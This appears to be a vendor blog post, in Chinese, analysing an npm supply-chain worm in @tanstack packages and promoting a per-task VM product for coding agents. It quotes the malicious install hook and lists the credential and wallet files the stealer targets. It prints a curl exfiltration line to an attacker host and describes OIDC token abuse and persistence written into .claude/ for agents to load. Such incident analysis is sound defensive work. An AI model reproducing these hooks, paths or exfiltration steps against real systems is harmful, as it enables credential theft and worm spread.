返回所有文章
發佈於 · 作者 Renaud Deraison

將自己寫入 .claude 的蠕蟲

2026年5月11日,一個名為Mini Shai-Hulud的npm蠕蟲在@tanstack命名空間的42個套件中新增了optionalDependencies行。安裝其中任何一個都會執行一個Bun腳本,該腳本從GitHub Actions環境中取得OIDC令牌,用它發佈更多具有有效SLSA來源的受損版本,將自己複製到.claude/中以便在下次編碼代理啟動時使用,並洩露從~/.aws到您的加密貨幣錢包的所有內容。這些套件都是簽名的。證明是有效的。這裡展示了攻擊鏈是什麼樣子的,以及當執行安裝的代理在Bromure per-task虛擬機中運行時會發生什麼變化。

2026年5月11日,大約在UTC時間19:20到19:26之間,有人在42個 @tanstack套件中推送了84個惡意工件——包括@tanstack/react-router, 這個路由庫每週被1200萬行npm install拉取。這些套件由TanStack的 真實發佈流水線簽名,攜帶有效的SLSA來源,因為蠕蟲沒有竊取發佈者 令牌。它劫持了TanStack的GitHub Actions運行器,在構建過程中。 在離開之前,在安裝了其中一個惡意版本的每台機器上,它都將 自己的持久化副本寫入了.claude/

有一種供應鏈攻擊被記錄是因為有人竊取了維護者的密碼。這不是其中之一。 週一晚上被AikidoSocketWizSnyk 全部捕獲的Mini Shai-Hulud版本不需要密碼。它需要某個地方的 開發者在傳遞依賴@tanstack/react-router的專案上輸入npm install。 其餘的——包括TanStack自己的CI在惡意發佈上鑄造簽名的部分——都是自動的。

機制很重要,因為機制是讓這次攻擊成為關於您筆記型電腦上的編碼代理 擁有哪些金鑰的問題,而不是關於npm的問題。所以讓我們遍歷這個鏈條。

JSON行。

第一個惡意的@tanstack/react-router構建,版本1.169.5, 包含一個package.json,其中正是這樣:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

一個Git URL,不是npm套件。一個固定的提交,不是版本範圍。 該提交的package.json又包含:

"scripts": {
  "prepare": "bun run tanstack_runner.js && exit 1"
}

當npm安裝Git相依性時,它會運行相依性的prepare腳本。 這不是bug;這是記錄的契約,因為Git相依性通常是原始碼, 原始碼通常需要構建。&& exit 1是巧妙的部分:它使 可選相依性失敗安裝,這意味著npm不會在package-lock.json 中記錄它,這意味著一天後稽核鎖定檔案的受害者看不到任何 錯誤。有效負載運行了。鎖定檔案是乾淨的。

順便說一下,執行時間是Bun。不是Node。npm會按需為您安裝Bun, 所以蠕蟲甚至不需要自帶。Bun沒有任何問題——它是一個完全 合理的JavaScript執行時間——但它的存在為混淆代碼提供了一個 稍微不那麼擁擠的工具鏈來隱藏,這就是目前攻擊者想要的。

運行器運行後做什麼。

三個檔案。每個都是獨立的壞。

router_init.js是憑證竊取器。它遍歷磁碟尋找常見嫌疑人—— ~/.aws/credentials~/.npmrc~/.docker/config.json~/.config/gh/hosts.yml~/.kube/config~/.ssh/*, 以及任何名稱包含單字token的點檔案——加上區分此攻擊與 2022年供應鏈事件的清單:瀏覽器擴展錢包的磁碟保險庫 (MetaMask、Phantom、Keplr)、Cursor和Windsurf的本地 會話檔案、坐在父程序環境中的代理自己的令牌,以及 專案樹中的任何MCP伺服器配置檔案。無論找到什麼,它都會 打包tar、加密,並發送到filev2.getsession.org/file/, 這是一個攻擊者控制的投遞點,託管在一個在其他方面合法的 檔案共用服務後面,使出口看起來像對CDN的curl

tanstack_runner.js是傳播器。一旦竊取了受害者的npm令牌, 它就會枚舉該令牌可以發佈的套件,重新打包每個tarball, 將惡意的optionalDependencies行拼接到package.json中, 增加版本,然後重新發佈。這是使Mini Shai-Hulud成為蠕蟲 而不是單個壞套件的部分:安裝受損相依性的每個維護者都 可能成為下一個攻擊者。

router_runtime.js是持久化副本。Socket的 分析 注意到運行器將自己的副本寫入它所在專案的.claude/ 子目錄,因為.claude/是Claude Code在啟動時讀取的目錄, 用於專案範圍的設定、斜槓命令和工具配置。下次開發者在 Claude Code中打開該儲存庫時——或者更糟的是,下次他們的 編碼代理在新檢出的機器上自主打開儲存庫時——持久化檔案 已經在代理的工作樹中。蠕蟲很有耐心。

OIDC技巧:惡意套件如何獲得有效的SLSA來源。

這是應該讓任何運行發佈流水線的人夜不能寐的部分。 受損的@tanstack/[email protected]以有效的SLSA來源 到達npm。Sigstore簽署了它。GitHub的證明API祝福了它。 如果您編寫了一個檢查說「只安裝有來源的套件」,您仍然會安裝它。

原因是機械的。SLSA來源不是說「這個代碼是安全的」。 它說「這個工件是由其OIDC身份簽署它的工作流構建的」。 要使其成為安全信號,工作流本身必須未受損。在這種情況下, 工作流是TanStack的實際發佈工作流——但同一作業中較早的 步驟執行了一個相依性,該相依性的自己的安裝腳本(這裡是 TanStack自己的相依性樹已經包含蠕蟲注入版本的惡意套件的 prepare腳本)已在運行器內執行。運行器是一個程序樹。 運行器具有環境變數ACTIONS_ID_TOKEN_REQUEST_TOKEN和URL ACTIONS_ID_TOKEN_REQUEST_URL,這是合法工作流鑄造短期 OIDC令牌的方式。在該程序樹中運行的任何其他東西也一樣。 蠕蟲呼叫了同一端點,獲得了一個範圍為TanStack儲存庫的令牌, 使用它進行發佈,Sigstore簽署了結果,因為從Sigstore的 角度來看,TanStack發佈了。Socket的分析對此很直接: 「不要僅將Sigstore來源徽章作為安全信號來信任。」

這與我們兩週前寫的LiteLLM和Bitwarden CLI事件是同一課, 在一個認為它鎖定了前門的註冊表中重新表述。如果有效負載 在prepare中,鎖定檔案不是防禦。如果簽署者的運行器是 有效負載,簽名不是防禦。

端到端鏈條看起來如何。

開發者筆記型電腦——主機檔案系統對代理運行的任何內容可見編碼代理$ claude> 向應用新增路由器tool: bashnpm i @tanstack/react-router↳ optionalDep失敗(好的!)↳ prepare仍然運行npm註冊表@tanstack/react-router 1.169.5 簽名: 有效 SLSA來源: okoptionalDependencies: github:tanstack/routerprepare → bun run tanstack_runner.jsrouter_init.js→ 掃描主機密鑰tanstack_runner.js→ 使用npm令牌重新發佈router_runtime.js→ 複製到.claude/讀取: ~/.aws, ~/.npmrc, $GH_TOKEN, ~/.ssh, MetaMask保險庫, cursor/windsurf會話主機檔案系統——全部真實,prepare腳本可讀~/.aws/credentialsAKIA… 真實~/.npmrc_authToken(在此重新發佈)$GH_TOKEN, ~/.config/gh/hosts.ymlghp_… 真實~/.ssh/id_ed25519磁碟上的私鑰~/Library/.../MetaMask/vault.json——已加密,已洩露,暴力破解~/Library/.../Cursor/工作空間狀態,代理令牌持久化./project/.claude/ router_runtime.js下次代理打開此儲存庫時載入還有: ./node_modules/.bin/*還有: ~/.bashrc tail資料洩露tar | aes-256 | curl -X POST https://filev2.getsession.org/file/看起來像對檔案共用主機的普通上傳。出口防火牆看到CDN形狀的請求。
開發者機器上的鏈條,編碼代理直接執行npm install。鎖定檔案是乾淨的,因為惡意相依性故意失敗。Git URL的prepare腳本取得三個混淆的Bun腳本,這些腳本(a)掃描~/.aws、~/.npmrc、$GH_TOKEN、~/.ssh、瀏覽器擴展錢包保險庫和Cursor/Windsurf會話檔案;(b)使用被竊的npm令牌重新發佈更多受損的套件;(c)將持久化副本寫入.claude/,以便下一個代理會話載入。洩露的POST發送到filev2.getsession.org。沒有0day,沒有提權;代理安裝了被告知要安裝的套件。

這幅圖有兩個值得深思的屬性,因為它們是決定哪些緩解措施 有效,哪些無效的屬性。

第一個是蠕蟲讀取的每個檔案都是使用者為使用者放在那裡的檔案。 沒有人選擇給路由庫存取~/.aws/credentials的權限。它有 存取權限的原因是執行npm install的shell有存取權限, 因為坐在該shell前面的開發者有存取權限,這就是Unix的工作方式。 代理在機械上是開發者之手的延伸。它繼承了開發者的影響範圍。

第二個是破壞性步驟不是憑證竊取。而是向.claude/寫入持久化。 純憑證竊取是一次性武器——輪換密鑰您就完成了。代理專案範圍 配置目錄中的持久化檔案意味著下次編碼會話,在新檢出的機器上, 用不同的開發者,用該開發者的金鑰,在該開發者的機器上, 再次運行蠕蟲。爆炸半徑不是一台筆記型電腦。而是團隊。

Bromure Agentic Coding中的相同鏈條。

Bromure Agentic Coding是編碼代理—— Claude Code、Cursor的CLI、Codex CLI、Aider,無論您喜歡什麼—— 在Bromure per-task VM內運行的配置,專案資料夾掛載進來, 沒有其他東西。VM是Bromure瀏覽器標籤使用的同一個一次性Linux訪客; 代理只是在任務的生命週期內而不是頁面載入的生命週期內生活在其中。

這是它對上述鏈條做的事情,逐個檔案。

BROMURE虛擬機——編碼代理運行的一次性訪客編碼代理(VM內)$ claude> 向應用新增路由器tool: bashnpm i @tanstack/react-router↳ prepare運行↳ 在訪客內訪客檔案系統——存根和缺失~/.aws/credentialsaws_secret = stub-aws-…~/.npmrc_authToken = stub-npm-…$GH_TOKENghp_stub_…~/.ssh/id_ed25519檔案或目錄不存在MetaMask, Phantom, Keplr保險庫未在訪客中安裝Cursor/Windsurf會話檔案不在磁碟上持久化./project/.claude/ router_runtime.js已寫入,但.claude/在訪客的CoW磁碟上→ 重設時銷毀虛擬化程式——憑證代理+出口代理macOS主機——真實金鑰,從未越過邊界真實憑證保險庫macOS Keychainid_ed25519(私有)~/.aws/credentialsAKIA…(真實)~/.config/gh/hosts.ymlghp_real…~/.npmrcnpm_…(真實發佈)~/Library/.../MetaMask/vault.json(真實)~/Library/.../Cursor/代理會話,令牌~/.bashrc, ~/.zshrc無持久化新增出口代理——可觀察,白名單git push → api.github.com stub ghp_… ⇒ real ghp_…(白名單)npm publish → registry.npmjs.org 存根npm令牌在主機上不存在 ⇒ publish 401 UnauthorizedPOST filev2.getsession.org 不在白名單中⇒已阻止,記錄在會話跟蹤中洩露嘗試對代理可見。會話跟蹤記錄它。VM消失。
相同的npm install,相同的prepare腳本,相同的三個Bun運行器,在Bromure per-task VM內。router_init.js掃描一個訪客檔案系統,該系統包含存根(或者更常見的是什麼都沒有),而主機有真實的金鑰。tanstack_runner.js找到一個存根npm令牌,無法發佈任何東西。router_runtime.js將持久化副本寫入一個.claude/目錄,該目錄位於一個一次性磁碟內,將在任務結束時刪除。洩露POST發出去——出口是經紀的,所以這次嘗試是可觀察和可阻止的,但即使成功也只攜帶存根。

映射蠕蟲的步驟到它們死亡的地方。

逐個對照Bromure的邊界走過運行器的三個檔案,是這停止成為 口號並開始成為檢查表的部分。

router_init.js伸手抓取金鑰。

運行器讀取~/.aws/credentials~/.npmrc$GH_TOKEN~/.config/gh/hosts.yml~/.kube/config~/.docker/config.json~/.ssh/id_ed25519。在Bromure VM內, 前四個是存根——在公共網際網路上不意味著任何東西的字串的 語法有效憑證檔案。kubeconfig也是存根(或如果您沒有為此 任務配置Kubernetes叢集則不存在)。Docker配置是存根。 SSH私鑰根本不在磁碟上;VM有一個轉發的ssh-agent套接字, 其金鑰材料位於虛擬化程式主機端的macOS Keychain中。運行器的 cat ~/.ssh/id_ed25519回傳檔案或目錄不存在,運行器繼續。

MetaMask、Phantom和Keplr怎麼辦?這些是瀏覽器擴展。 Bromure根本不在其瀏覽器中安裝Chrome擴展——不是以「策劃」 或「沙盒」方式,而是根本不安裝——運行您編碼代理的per-task VM 也沒有桌面錢包坐在其檔案系統上。運行器正在尋找的錢包保險庫 生活在您的主機上,在您真實的瀏覽器設定檔中,在運行器 無法到達的Linux/macOS邊界的另一邊。

Cursor和Windsurf會話檔案是一個有趣的中間情況。如果您在 Bromure代理會話內運行您的編碼代理,那麼「Cursor的會話檔案」 就是這個VM內的檔案——這是一個新鮮的VM,其唯一登入的代理 身份是您剛剛為此任務提供的,範圍為此儲存庫,對此任務有效。 運行器將洩露該令牌。令牌對一個儲存庫上的一個任務有效。 任務結束時,令牌被輪換。爆炸半徑是代理已被允許做的事情, 這並非什麼都不是——見下文——但這遠不是「攻擊者現在擁有 我的整個AI訂閱」。

tanstack_runner.js嘗試重新發佈。

傳播器的整個存在理由是使用受害者的npm令牌發佈更多受損套件。 在VM內,~/.npmrc中的npm令牌是存根。主機上的出口代理 知道使用者目前工作的真實儲存庫api.github.comregistry.npmjs.org,但它不會盲目轉發針對任意無關套件的 發佈請求與主機的真實npm令牌。(如果您不打算從此任務 發佈,代理白名單根本不包括npm。)發佈嘗試回傳 401 Unauthorized,蠕蟲的傳播循環在連線處死亡。

這是憑證代理和綁定掛載之間的區別。將~/.npmrc掛載到 自身的容器給運行器真實的發佈令牌。具有存根~/.npmrc和 知道「代理正在推送到其自己的工作儲存庫」和「某些腳本正在 重新發佈我從未聽說過的四十個其他套件」之間區別的主機端 代理的VM給運行器401。相同輸入。不同拓撲。

router_runtime.js將自己寫入.claude。

持久化檔案是將單標籤事件轉換為多標籤大流行的舉動, 這是Bromure Agentic Coding的一次性磁碟模型在結構上 過敏的舉動。

.claude/位於專案樹內,在Bromure代理會話中,它在 任務開始時掛載到VM中。所以蠕蟲成功地將router_runtime.js 寫入./project/.claude/。該檔案現在是您儲存庫工作樹的 一部分。根據您的任務設定,它也是(a)在VM的一次性CoW 磁碟內並且即將在會話結束時被刪除,或(b)在掛載的主機端 並且即將出現在git status中。在情況(a)中持久化消失。 在情況(b)中持久化坐在開發者前面帶著紅色差異。

沒有人想要的情況是靜默的:蠕蟲在筆記型電腦上運行, 寫入.claude/router_runtime.js,檔案被某些繼承配置 npm ignored,持久化坐在那裡將自己載入到該儲存庫的 每個未來Claude Code會話中,因為沒人看過。這是Bromure 預設刪除的情況——因為要麼磁碟消失,要麼檔案在可見差異中。

為什麼容器不能帶您到這裡。

適用與Bitwarden CLI分析 相同的反對意見:您可以將編碼代理放入容器中,對於許多日常任務, 這確實比在主機上運行要好。但邊界不在蠕蟲關心的地方。

要使容器對編碼代理所做的事情有用——讓它git pushgh pr create、從私有註冊表npm install、推送映像—— 您最終會將~/.ssh~/.npmrc和GitHub令牌掛載到容器中。 prepare腳本執行cat ~/.ssh/id_ed25519並取得實際檔案。 綁定掛載正是蠕蟲尋找的軟腹部,它不會因為Docker參與 而停止成為軟腹部。

瀏覽器擴展錢包出於同樣原因很重要。一旦容器被配置為 對「抓取文件站點以便我可以總結」或「打開本地主機預覽」—— 常見的代理任務——有用,它對主機真實瀏覽器設定檔的 存取就成為問題。Bromure的per-task VM沒有您的瀏覽器 設定檔在其中。它沒有您的錢包在其中。它沒有您的 LastPass等效物在其中。代理與訪客上的新鮮、無品牌 Chromium交談,這有意不是任何人的主瀏覽器。

這不能拯救您的地方。

兩個地方,兩者都值得命名以免它們成為意外。

代理仍然可以發佈壞代碼。

關於per-task VM的任何事情都不能阻止代理被中毒的README 或回傳有用外觀指令的MCP伺服器說服,在您的代碼中提交 後門並推送它。邊界保護您機器上的憑證。它不稽核差異。 閱讀差異。會話跟蹤使知道要閱讀哪些差異更容易。

出口白名單是整個遊戲。

如果您的任務將npm publish白名單到您自己的範圍,因為 您今天正在發佈,並且您今天碰巧安裝了蠕蟲,蠕蟲將 在您的範圍下發佈。經紀起作用是因為白名單很窄。 故意將其變窄。不需要發佈的任務不應該能夠發佈。

剪貼簿預設仍然共用。

Bromure預設啟用主機和訪客之間的剪貼簿共用,因為 將錯誤訊息貼上到聊天是人類需要做的事情。如果您在 任務內做敏感事情,請為該VM隔離剪貼簿。控制在那裡。 只是不是預設的。

跟蹤是您的稽核日誌,不是您的IDS。

會話跟蹤捕獲每個shell命令、檔案寫入和出站請求。 它本身不將filev2.getsession.org分類為壞的。 它捕獲請求被發出,這樣當有人明天早上發佈像Aikido 那樣的分析時,您的grep需要兩秒鐘。

最後一件事。

這個故事有一個版本,答案是「稽核您的鎖定檔案」。鎖定檔案是 乾淨的。有一個版本,答案是「只安裝有來源的套件」。來源是 有效的。有一個版本,答案是「使用容器」。容器有綁定掛載。

實際上能抵禦有效負載在鎖定檔案被寫入之前運行並在 發佈者自己的CI運行的蠕蟲的版本,是打字的代理 坐在一次性Linux VM內的版本,其主機端代理持有真實金鑰。 npm註冊表契約沒有改變。prepare掛勾仍然運行。Bun 仍然啟動。router_init.js仍然進行掃描。它只是掃描 一個其金鑰不是使用者金鑰的訪客,它試圖持久化的一次性 磁碟在下一杯咖啡之前消失。

Bromure Agentic Coding是這成為預設 的配置。它是免費的、開源的,今天發佈。下一個蠕蟲 已經在上傳。